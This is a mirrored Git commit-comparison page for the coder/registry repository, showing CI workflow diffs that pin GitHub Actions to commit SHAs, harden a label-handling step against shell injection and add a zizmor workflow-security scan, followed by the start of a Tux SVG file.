mirror of
https://github.com/coder/registry.git
synced 2026-06-03 04:58:15 +00:00
Compare commits
56 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| c5f6a00851 | |||
| 05e6324e41 | |||
| fd6f980610 | |||
| 3447d31392 | |||
| 618a9b8b5d | |||
| 847c9491af | |||
| 10142cbe1c | |||
| 8ec817e33c | |||
| 480bf4b48c | |||
| d8851492c0 | |||
| 186a779659 | |||
| 8defcb2410 | |||
| 14c43d9f29 | |||
| ac92895c50 | |||
| 563dbc4a71 | |||
| 39fec7ca82 | |||
| c5ff4de9ed | |||
| a9a03b167c | |||
| 0449051828 | |||
| 08bd84c529 | |||
| 8e68c96633 | |||
| 7e3e842aaa | |||
| 6ac4d70405 | |||
| 49a7985bc6 | |||
| 08e68a2da4 | |||
| 66662db5aa | |||
| e25a972d7d | |||
| a10d5fa6a0 | |||
| 360b3cd3ce | |||
| fa30191394 | |||
| e4606c51f3 | |||
| 3b6246f256 | |||
| b077dfafc8 | |||
| 6e0291cdb9 | |||
| bd1c4c59cd | |||
| 8d53725005 | |||
| bd1a36b228 | |||
| 01d6669708 | |||
| 01365fb61a | |||
| ec57cb5c0f | |||
| d21f55a322 | |||
| 2e8870bcee | |||
| 51676b6e62 | |||
| a21a4c11b8 | |||
| b7229a8132 | |||
| 44a8c66d94 | |||
| 2a40c07c3a | |||
| c493bbd490 | |||
| 836536eb97 | |||
| 44d1ae1d1d | |||
| b91a697ce5 | |||
| b55d546f03 | |||
| f1d5947245 | |||
| e1eda2ce65 | |||
| a1eed799aa | |||
| b52c0f9f63 |
@@ -11,7 +11,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
|
||||
- name: Run check.sh
|
||||
run: |
|
||||
|
||||
+10
-10
@@ -12,9 +12,9 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
- name: Detect changed files
|
||||
uses: dorny/paths-filter@v3
|
||||
uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3
|
||||
id: filter
|
||||
with:
|
||||
list-files: shell
|
||||
@@ -37,9 +37,9 @@ jobs:
|
||||
all:
|
||||
- '**'
|
||||
- name: Set up Terraform
|
||||
uses: coder/coder/.github/actions/setup-tf@main
|
||||
uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2
|
||||
- name: Set up Bun
|
||||
uses: oven-sh/setup-bun@v2
|
||||
uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2
|
||||
with:
|
||||
# We're using the latest version of Bun for now, but it might be worth
|
||||
# reconsidering. They've pushed breaking changes in patch releases
|
||||
@@ -80,20 +80,20 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
- name: Install Bun
|
||||
uses: oven-sh/setup-bun@v2
|
||||
uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2
|
||||
with:
|
||||
bun-version: latest
|
||||
# Need Terraform for its formatter
|
||||
- name: Install Terraform
|
||||
uses: coder/coder/.github/actions/setup-tf@main
|
||||
uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2
|
||||
- name: Install dependencies
|
||||
run: bun install
|
||||
- name: Validate formatting
|
||||
run: bun fmt:ci
|
||||
- name: Check for typos
|
||||
uses: crate-ci/typos@v1.41.0
|
||||
uses: crate-ci/typos@65120634e79d8374d1aa2f27e54baa0c364fff5a # v1.42.1
|
||||
with:
|
||||
config: .github/typos.toml
|
||||
validate-readme-files:
|
||||
@@ -104,9 +104,9 @@ jobs:
|
||||
needs: validate-style
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
uses: actions/setup-go@7a3fe6cf4cb3a834922a1244abfce67bcef6a0c5 # v6
|
||||
with:
|
||||
go-version: "1.24.0"
|
||||
- name: Validate contributors
|
||||
|
||||
@@ -28,7 +28,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v6
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
- name: Authenticate with Google Cloud
|
||||
uses: google-github-actions/auth@7c6bc770dae815cd3e89ee6cdf493a5fab2cc093
|
||||
with:
|
||||
|
||||
@@ -14,11 +14,11 @@ jobs:
|
||||
name: lint
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/setup-go@v6
|
||||
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
- uses: actions/setup-go@7a3fe6cf4cb3a834922a1244abfce67bcef6a0c5 # v6
|
||||
with:
|
||||
go-version: stable
|
||||
- name: golangci-lint
|
||||
uses: golangci/golangci-lint-action@v9
|
||||
uses: golangci/golangci-lint-action@1e7e51e771db61008b38414a730f564565cf7c20 # v9
|
||||
with:
|
||||
version: v2.1
|
||||
|
||||
@@ -14,7 +14,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v6
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
fetch-depth: 0
|
||||
persist-credentials: false
|
||||
@@ -89,9 +89,9 @@ jobs:
|
||||
|
||||
for sha in $MODULE_COMMIT_SHAS; do
|
||||
SHORT_SHA=${sha:0:7}
|
||||
|
||||
|
||||
COMMIT_LINES=$(echo "$FULL_CHANGELOG" | grep -E "$SHORT_SHA|$(git log --format='%s' -n 1 $sha)" || true)
|
||||
|
||||
|
||||
if [ -n "$COMMIT_LINES" ]; then
|
||||
FILTERED_CHANGELOG="${FILTERED_CHANGELOG}${COMMIT_LINES}\n"
|
||||
else
|
||||
|
||||
@@ -20,26 +20,28 @@ jobs:
|
||||
issues: write
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v6
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
fetch-depth: 0
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Set up Bun
|
||||
uses: oven-sh/setup-bun@v2
|
||||
uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2
|
||||
with:
|
||||
bun-version: latest
|
||||
|
||||
- name: Set up Terraform
|
||||
uses: coder/coder/.github/actions/setup-tf@main
|
||||
uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2
|
||||
|
||||
- name: Install dependencies
|
||||
run: bun install
|
||||
|
||||
- name: Extract bump type from label
|
||||
env:
|
||||
LABEL_NAME: ${{ github.event.label.name }}
|
||||
id: bump-type
|
||||
run: |
|
||||
case "${{ github.event.label.name }}" in
|
||||
case "$LABEL_NAME" in
|
||||
"version:patch")
|
||||
echo "type=patch" >> $GITHUB_OUTPUT
|
||||
;;
|
||||
@@ -50,7 +52,7 @@ jobs:
|
||||
echo "type=major" >> $GITHUB_OUTPUT
|
||||
;;
|
||||
*)
|
||||
echo "Invalid version label: ${{ github.event.label.name }}"
|
||||
echo "Invalid version label: ${LABEL_NAME}"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
@@ -60,7 +62,7 @@ jobs:
|
||||
|
||||
- name: Comment on PR - Version bump required
|
||||
if: failure()
|
||||
uses: actions/github-script@v8
|
||||
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
|
||||
with:
|
||||
github-token: ${{ secrets.GITHUB_TOKEN }}
|
||||
script: |
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
name: GitHub Actions Security Analysis (zizmor)
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
branches: ["**"]
|
||||
paths:
|
||||
- ".github/workflows/**"
|
||||
push:
|
||||
branches: ["main"]
|
||||
paths:
|
||||
- ".github/workflows/**"
|
||||
workflow_dispatch:
|
||||
|
||||
permissions: {}
|
||||
|
||||
jobs:
|
||||
zizmor_pr_blocking:
|
||||
if: github.event_name == 'pull_request'
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: read
|
||||
actions: read
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Run zizmor (blocking, HIGH only)
|
||||
uses: zizmorcore/zizmor-action@135698455da5c3b3e55f73f4419e481ab68cdd95 # v0.4.1
|
||||
with:
|
||||
advanced-security: false
|
||||
annotations: true
|
||||
min-severity: high
|
||||
inputs: |
|
||||
.github/workflows
|
||||
|
||||
zizmor_main_sarif:
|
||||
if: github.event_name != 'pull_request'
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
security-events: write
|
||||
contents: read
|
||||
actions: read
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Run zizmor (SARIF)
|
||||
uses: zizmorcore/zizmor-action@135698455da5c3b3e55f73f4419e481ab68cdd95 # v0.4.1
|
||||
with:
|
||||
inputs: |
|
||||
.github/workflows
|
||||
@@ -0,0 +1,438 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<svg version="1.1" viewBox="0 0 216 256" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||||
<title>Tux</title>
|
||||
<defs id="tux_fx">
|
||||
<linearGradient id="gradient_belly_shadow">
|
||||
<stop offset="0" stop-color="#000000"/>
|
||||
<stop offset="1" stop-color="#000000" stop-opacity="0.25"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_wing_tip_right_shadow">
|
||||
<stop offset="0" stop-color="#110800"/>
|
||||
<stop offset="0.59" stop-color="#a65a00" stop-opacity="0.8"/>
|
||||
<stop offset="1" stop-color="#ff921e" stop-opacity="0"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_wing_tip_right_glare_1">
|
||||
<stop offset="0" stop-color="#7c7c7c"/>
|
||||
<stop offset="1" stop-color="#7c7c7c" stop-opacity="0.33"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_wing_tip_right_glare_2">
|
||||
<stop offset="0" stop-color="#7c7c7c"/>
|
||||
<stop offset="1" stop-color="#7c7c7c" stop-opacity="0.33"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_foot_left_layer_1">
|
||||
<stop offset="0" stop-color="#b98309"/>
|
||||
<stop offset="1" stop-color="#382605"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_foot_left_glare">
|
||||
<stop offset="0" stop-color="#ebc40c"/>
|
||||
<stop offset="1" stop-color="#ebc40c" stop-opacity="0"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_foot_right_shadow">
|
||||
<stop offset="0" stop-color="#000000"/>
|
||||
<stop offset="1" stop-color="#000000" stop-opacity="0"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_foot_right_layer_1">
|
||||
<stop offset="0" stop-color="#3e2a06"/>
|
||||
<stop offset="1" stop-color="#ad780a"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_foot_right_glare">
|
||||
<stop offset="0" stop-color="#f3cd0c"/>
|
||||
<stop offset="1" stop-color="#f3cd0c" stop-opacity="0"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_eyeball">
|
||||
<stop offset="0" stop-color="#fefefc"/>
|
||||
<stop offset="0.75" stop-color="#fefefc"/>
|
||||
<stop offset="1" stop-color="#d4d4d4"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_pupil_left_glare">
|
||||
<stop offset="0" stop-color="#757574" stop-opacity="0"/>
|
||||
<stop offset="0.25" stop-color="#757574"/>
|
||||
<stop offset="0.5" stop-color="#757574"/>
|
||||
<stop offset="1" stop-color="#757574" stop-opacity="0"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_pupil_right_glare_2">
|
||||
<stop offset="0" stop-color="#949494" stop-opacity="0.39"/>
|
||||
<stop offset="0.5" stop-color="#949494"/>
|
||||
<stop offset="1" stop-color="#949494" stop-opacity="0.39"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_eyelid_left">
|
||||
<stop offset="0" stop-color="#c8c8c8"/>
|
||||
<stop offset="1" stop-color="#797978"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_eyelid_right">
|
||||
<stop offset="0" stop-color="#747474"/>
|
||||
<stop offset="0.13" stop-color="#8c8c8c"/>
|
||||
<stop offset="0.25" stop-color="#a4a4a4"/>
|
||||
<stop offset="0.5" stop-color="#d4d4d4"/>
|
||||
<stop offset="0.62" stop-color="#d4d4d4"/>
|
||||
<stop offset="1" stop-color="#7c7c7c"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_eyebrow">
|
||||
<stop offset="0" stop-color="#646464" stop-opacity="0"/>
|
||||
<stop offset="0.31" stop-color="#646464" stop-opacity="0.58"/>
|
||||
<stop offset="0.47" stop-color="#646464"/>
|
||||
<stop offset="0.73" stop-color="#646464" stop-opacity="0.26"/>
|
||||
<stop offset="1" stop-color="#646464" stop-opacity="0"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_beak_base">
|
||||
<stop offset="0" stop-color="#020204"/>
|
||||
<stop offset="0.73" stop-color="#020204"/>
|
||||
<stop offset="1" stop-color="#5c5c5c"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_mandible_lower">
|
||||
<stop offset="0" stop-color="#d2940a"/>
|
||||
<stop offset="0.75" stop-color="#d89c08"/>
|
||||
<stop offset="0.87" stop-color="#b67e07"/>
|
||||
<stop offset="1" stop-color="#946106"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_mandible_upper">
|
||||
<stop offset="0" stop-color="#ad780a"/>
|
||||
<stop offset="0.12" stop-color="#d89e08"/>
|
||||
<stop offset="0.25" stop-color="#edb80b"/>
|
||||
<stop offset="0.39" stop-color="#ebc80d"/>
|
||||
<stop offset="0.53" stop-color="#f5d838"/>
|
||||
<stop offset="0.77" stop-color="#f6d811"/>
|
||||
<stop offset="1" stop-color="#f5cd31"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_nares">
|
||||
<stop offset="0" stop-color="#3a2903"/>
|
||||
<stop offset="0.55" stop-color="#735208"/>
|
||||
<stop offset="1" stop-color="#ac8c04"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="gradient_beak_corner">
|
||||
<stop offset="0" stop-color="#f5ce2d"/>
|
||||
<stop offset="1" stop-color="#d79b08"/>
|
||||
</linearGradient>
|
||||
<radialGradient id="fill_belly_shadow_left" href="#gradient_belly_shadow" xlink:href="#gradient_belly_shadow"
|
||||
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(61.18,121.19) scale(19,18)"/>
|
||||
<radialGradient id="fill_belly_shadow_right" href="#gradient_belly_shadow" xlink:href="#gradient_belly_shadow"
|
||||
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(125.74,131.6) scale(23.6,18)"/>
|
||||
<radialGradient id="fill_belly_shadow_middle" href="#gradient_belly_shadow" xlink:href="#gradient_belly_shadow"
|
||||
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(94.21,127.47) scale(9.35,10)"/>
|
||||
<linearGradient id="fill_foot_left_base" href="#gradient_foot_left_layer_1" xlink:href="#gradient_foot_left_layer_1"
|
||||
gradientUnits="userSpaceOnUse" x1="23.18" y1="193.01" x2="64.31" y2="262.02"/>
|
||||
<linearGradient id="fill_foot_left_glare" href="#gradient_foot_left_glare" xlink:href="#gradient_foot_left_glare"
|
||||
gradientUnits="userSpaceOnUse" x1="64.47" y1="210.83" x2="77.41" y2="235.21"/>
|
||||
<linearGradient id="fill_foot_right_shadow" href="#gradient_foot_right_shadow" xlink:href="#gradient_foot_right_shadow"
|
||||
gradientUnits="userSpaceOnUse" x1="146.93" y1="211.96" x2="150.2" y2="235.73"/>
|
||||
<linearGradient id="fill_foot_right_base" href="#gradient_foot_right_layer_1" xlink:href="#gradient_foot_right_layer_1"
|
||||
gradientUnits="userSpaceOnUse" x1="151.5" y1="253.02" x2="192.94" y2="185.84"/>
|
||||
<linearGradient id="fill_foot_right_glare" href="#gradient_foot_right_glare" xlink:href="#gradient_foot_right_glare"
|
||||
gradientUnits="userSpaceOnUse" x1="162.81" y1="180.67" x2="161.59" y2="191.64"/>
|
||||
<radialGradient id="fill_wing_tip_right_shadow_lower" href="#gradient_wing_tip_right_shadow" xlink:href="#gradient_wing_tip_right_shadow"
|
||||
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(169.71,194.53) rotate(15) scale(19.66,20.64)"/>
|
||||
<radialGradient id="fill_wing_tip_right_shadow_upper" href="#gradient_wing_tip_right_shadow" xlink:href="#gradient_wing_tip_right_shadow"
|
||||
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(169.71,189.89) rotate(-2.42) scale(19.74,14.86)"/>
|
||||
<radialGradient id="fill_wing_tip_right_glare_1" href="#gradient_wing_tip_right_glare_1" xlink:href="#gradient_wing_tip_right_glare_1"
|
||||
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(184.65,176.62) rotate(23.5) scale(6.95,3.21)"/>
|
||||
<linearGradient id="fill_wing_tip_right_glare_2" href="#gradient_wing_tip_right_glare_2" xlink:href="#gradient_wing_tip_right_glare_2"
|
||||
gradientUnits="userSpaceOnUse" x1="165.69" y1="173.58" x2="168.27" y2="173.47"/>
|
||||
<radialGradient id="fill_eyeball_left" href="#gradient_eyeball" xlink:href="#gradient_eyeball"
|
||||
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(86.49,51.41) rotate(-0.6) scale(10.24,15.68)"/>
|
||||
<linearGradient id="fill_pupil_left_glare" href="#gradient_pupil_left_glare" xlink:href="#gradient_pupil_left_glare"
|
||||
gradientUnits="userSpaceOnUse" x1="84.29" y1="46.64" x2="89.32" y2="55.63"/>
|
||||
<radialGradient id="fill_eyelid_left" href="#gradient_eyelid_left" xlink:href="#gradient_eyelid_left"
|
||||
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(84.89,43.74) rotate(-9.35) scale(6.25,5.77)"/>
|
||||
<linearGradient id="fill_eyebrow_left" href="#gradient_eyebrow" xlink:href="#gradient_eyebrow"
|
||||
gradientUnits="userSpaceOnUse" x1="83.59" y1="32.51" x2="94.48" y2="43.63"/>
|
||||
<radialGradient id="fill_eyeball_right" href="#gradient_eyeball" xlink:href="#gradient_eyeball"
|
||||
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(118.06,51.41) rotate(-1.8) scale(13.64,15.68)"/>
|
||||
<linearGradient id="fill_pupil_right_glare" href="#gradient_pupil_right_glare_2" xlink:href="#gradient_pupil_right_glare_2"
|
||||
gradientUnits="userSpaceOnUse" x1="117.87" y1="47.25" x2="123.66" y2="54.11"/>
|
||||
<linearGradient id="fill_eyelid_right" href="#gradient_eyelid_right" xlink:href="#gradient_eyelid_right"
|
||||
gradientUnits="userSpaceOnUse" x1="112.9" y1="36.23" x2="131.32" y2="47.01"/>
|
||||
<linearGradient id="fill_eyebrow_right" href="#gradient_eyebrow" xlink:href="#gradient_eyebrow"
|
||||
gradientUnits="userSpaceOnUse" x1="119.16" y1="31.56" x2="131.42" y2="43.14"/>
|
||||
<radialGradient id="fill_beak_base" href="#gradient_beak_base" xlink:href="#gradient_beak_base"
|
||||
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(97.64,60.12) rotate(-36) scale(11.44,10.38)"/>
|
||||
<radialGradient id="fill_mandible_lower_base" href="#gradient_mandible_lower" xlink:href="#gradient_mandible_lower"
|
||||
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(109.77,70.61) rotate(-22.4) scale(27.15,19.07)"/>
|
||||
<linearGradient id="fill_mandible_upper_base" href="#gradient_mandible_upper" xlink:href="#gradient_mandible_upper"
|
||||
gradientUnits="userSpaceOnUse" x1="78.09" y1="69.26" x2="126.77" y2="68.88"/>
|
||||
<radialGradient id="fill_naris_left" href="#gradient_nares" xlink:href="#gradient_nares"
|
||||
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(92.11,59.88) scale(1.32,1.42)"/>
|
||||
<radialGradient id="fill_naris_right" href="#gradient_nares" xlink:href="#gradient_nares"
|
||||
gradientUnits="userSpaceOnUse" cx="0" cy="0" r="1" gradientTransform="translate(104.65,59.7) scale(2.78,1.62)"/>
|
||||
<linearGradient id="fill_beak_corner" href="#gradient_beak_corner" xlink:href="#gradient_beak_corner"
|
||||
gradientUnits="userSpaceOnUse" x1="126.74" y1="67.49" x2="126.74" y2="71.09"/>
|
||||
<filter id="blur_belly_shadow_left">
|
||||
<feGaussianBlur stdDeviation="0.64 0.55"/>
|
||||
</filter>
|
||||
<filter id="blur_belly_shadow_right">
|
||||
<feGaussianBlur stdDeviation="0.98"/>
|
||||
</filter>
|
||||
<filter id="blur_belly_shadow_middle">
|
||||
<feGaussianBlur stdDeviation="0.68"/>
|
||||
</filter>
|
||||
<filter id="blur_belly_shadow_lower" x="-0.8" width="2.6" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="1.25"/>
|
||||
</filter>
|
||||
<filter id="blur_belly_glare" x="-0.8" width="2.6" y="-0.5" height="2">
|
||||
<feGaussianBlur stdDeviation="1.78 2.19"/>
|
||||
</filter>
|
||||
<filter id="blur_head_glare" x="-0.3" width="1.6" y="-0.3" height="1.6">
|
||||
<feGaussianBlur stdDeviation="1.73"/>
|
||||
</filter>
|
||||
<filter id="blur_neck_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="0.78"/>
|
||||
</filter>
|
||||
<filter id="blur_wing_left_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="0.98"/>
|
||||
</filter>
|
||||
<filter id="blur_wing_right_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="1.19 1.17"/>
|
||||
</filter>
|
||||
<filter id="blur_foot_left_layer_1" x="-0.2" width="1.4" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="3.38"/>
|
||||
</filter>
|
||||
<filter id="blur_foot_left_layer_2">
|
||||
<feGaussianBlur stdDeviation="2.1 2.06"/>
|
||||
</filter>
|
||||
<filter id="blur_foot_left_glare">
|
||||
<feGaussianBlur stdDeviation="0.32"/>
|
||||
</filter>
|
||||
<filter id="blur_foot_right_shadow">
|
||||
<feGaussianBlur stdDeviation="1.95 1.9"/>
|
||||
</filter>
|
||||
<filter id="blur_foot_right_layer_1" x="-0.2" width="1.4" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="4.12"/>
|
||||
</filter>
|
||||
<filter id="blur_foot_right_layer_2" x="-0.2" width="1.4" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="3.12 3.37"/>
|
||||
</filter>
|
||||
<filter id="blur_foot_right_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="0.41"/>
|
||||
</filter>
|
||||
<filter id="blur_wing_tip_right_shadow_lower" x="-0.3" width="1.6" y="-0.3" height="1.6">
|
||||
<feGaussianBlur stdDeviation="2.45"/>
|
||||
</filter>
|
||||
<filter id="blur_wing_tip_right_shadow_upper" x="-0.2" width="1.4" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="1.12 0.81"/>
|
||||
</filter>
|
||||
<filter id="blur_wing_tip_right_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="0.88"/>
|
||||
</filter>
|
||||
<filter id="blur_pupil_left_glare" x="-0.3" width="1.6" y="-0.3" height="1.6">
|
||||
<feGaussianBlur stdDeviation="0.44"/>
|
||||
</filter>
|
||||
<filter id="blur_eyebrow_left">
|
||||
<feGaussianBlur stdDeviation="0.12"/>
|
||||
</filter>
|
||||
<filter id="blur_pupil_right_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="0.45"/>
|
||||
</filter>
|
||||
<filter id="blur_eyebrow_right">
|
||||
<feGaussianBlur stdDeviation="0.13"/>
|
||||
</filter>
|
||||
<filter id="blur_beak_shadow_lower" x="-0.2" width="1.4" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="1.75"/>
|
||||
</filter>
|
||||
<filter id="blur_beak_shadow_upper">
|
||||
<feGaussianBlur stdDeviation="0.8 0.74"/>
|
||||
</filter>
|
||||
<filter id="blur_mandible_lower_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="0.77"/>
|
||||
</filter>
|
||||
<filter id="blur_mandible_upper_shadow">
|
||||
<feGaussianBlur stdDeviation="0.65"/>
|
||||
</filter>
|
||||
<filter id="blur_mandible_upper_glare" x="-0.2" width="1.4" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="0.73"/>
|
||||
</filter>
|
||||
<filter id="blur_naris_left" x="-0.2" width="1.4" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="0.1"/>
|
||||
</filter>
|
||||
<filter id="blur_naris_right">
|
||||
<feGaussianBlur stdDeviation="0.1"/>
|
||||
</filter>
|
||||
<filter id="blur_beak_corner" x="-0.2" width="1.4" y="-0.2" height="1.4">
|
||||
<feGaussianBlur stdDeviation="0.23"/>
|
||||
</filter>
|
||||
<clipPath id="clip_body">
|
||||
<use href="#body_base" xlink:href="#body_base"/>
|
||||
</clipPath>
|
||||
<clipPath id="clip_wing_left">
|
||||
<use href="#wing_left_base" xlink:href="#wing_left_base"/>
|
||||
</clipPath>
|
||||
<clipPath id="clip_wing_right">
|
||||
<use href="#wing_right_base" xlink:href="#wing_right_base"/>
|
||||
</clipPath>
|
||||
<clipPath id="clip_foot_left">
|
||||
<use href="#foot_left_base" xlink:href="#foot_left_base"/>
|
||||
</clipPath>
|
||||
<clipPath id="clip_foot_right">
|
||||
<use href="#foot_right_base" xlink:href="#foot_right_base"/>
|
||||
</clipPath>
|
||||
<clipPath id="clip_wing_tip_right">
|
||||
<use href="#wing_tip_right_base" xlink:href="#wing_tip_right_base"/>
|
||||
</clipPath>
|
||||
<clipPath id="clip_eye_left">
|
||||
<use href="#eyeball_left" xlink:href="#eyeball_left"/>
|
||||
</clipPath>
|
||||
<clipPath id="clip_pupil_left">
|
||||
<use href="#pupil_left_base" xlink:href="#pupil_left_base"/>
|
||||
</clipPath>
|
||||
<clipPath id="clip_eye_right">
|
||||
<use href="#eyeball_right" xlink:href="#eyeball_right"/>
|
||||
</clipPath>
|
||||
<clipPath id="clip_pupil_right">
|
||||
<use href="#pupil_right_base" xlink:href="#pupil_right_base"/>
|
||||
</clipPath>
|
||||
<clipPath id="clip_mandible_lower">
|
||||
<use href="#mandible_lower_base" xlink:href="#mandible_lower_base"/>
|
||||
</clipPath>
|
||||
<clipPath id="clip_mandible_upper">
|
||||
<use href="#mandible_upper_base" xlink:href="#mandible_upper_base"/>
|
||||
</clipPath>
|
||||
<clipPath id="clip_beak">
|
||||
<use href="#mandible_lower_base" xlink:href="#mandible_lower_base"/>
|
||||
<use href="#mandible_upper_base" xlink:href="#mandible_upper_base"/>
|
||||
</clipPath>
|
||||
</defs>
|
||||
<g id="tux">
|
||||
<g id="body">
|
||||
<path id="body_base" fill="#020204"
|
||||
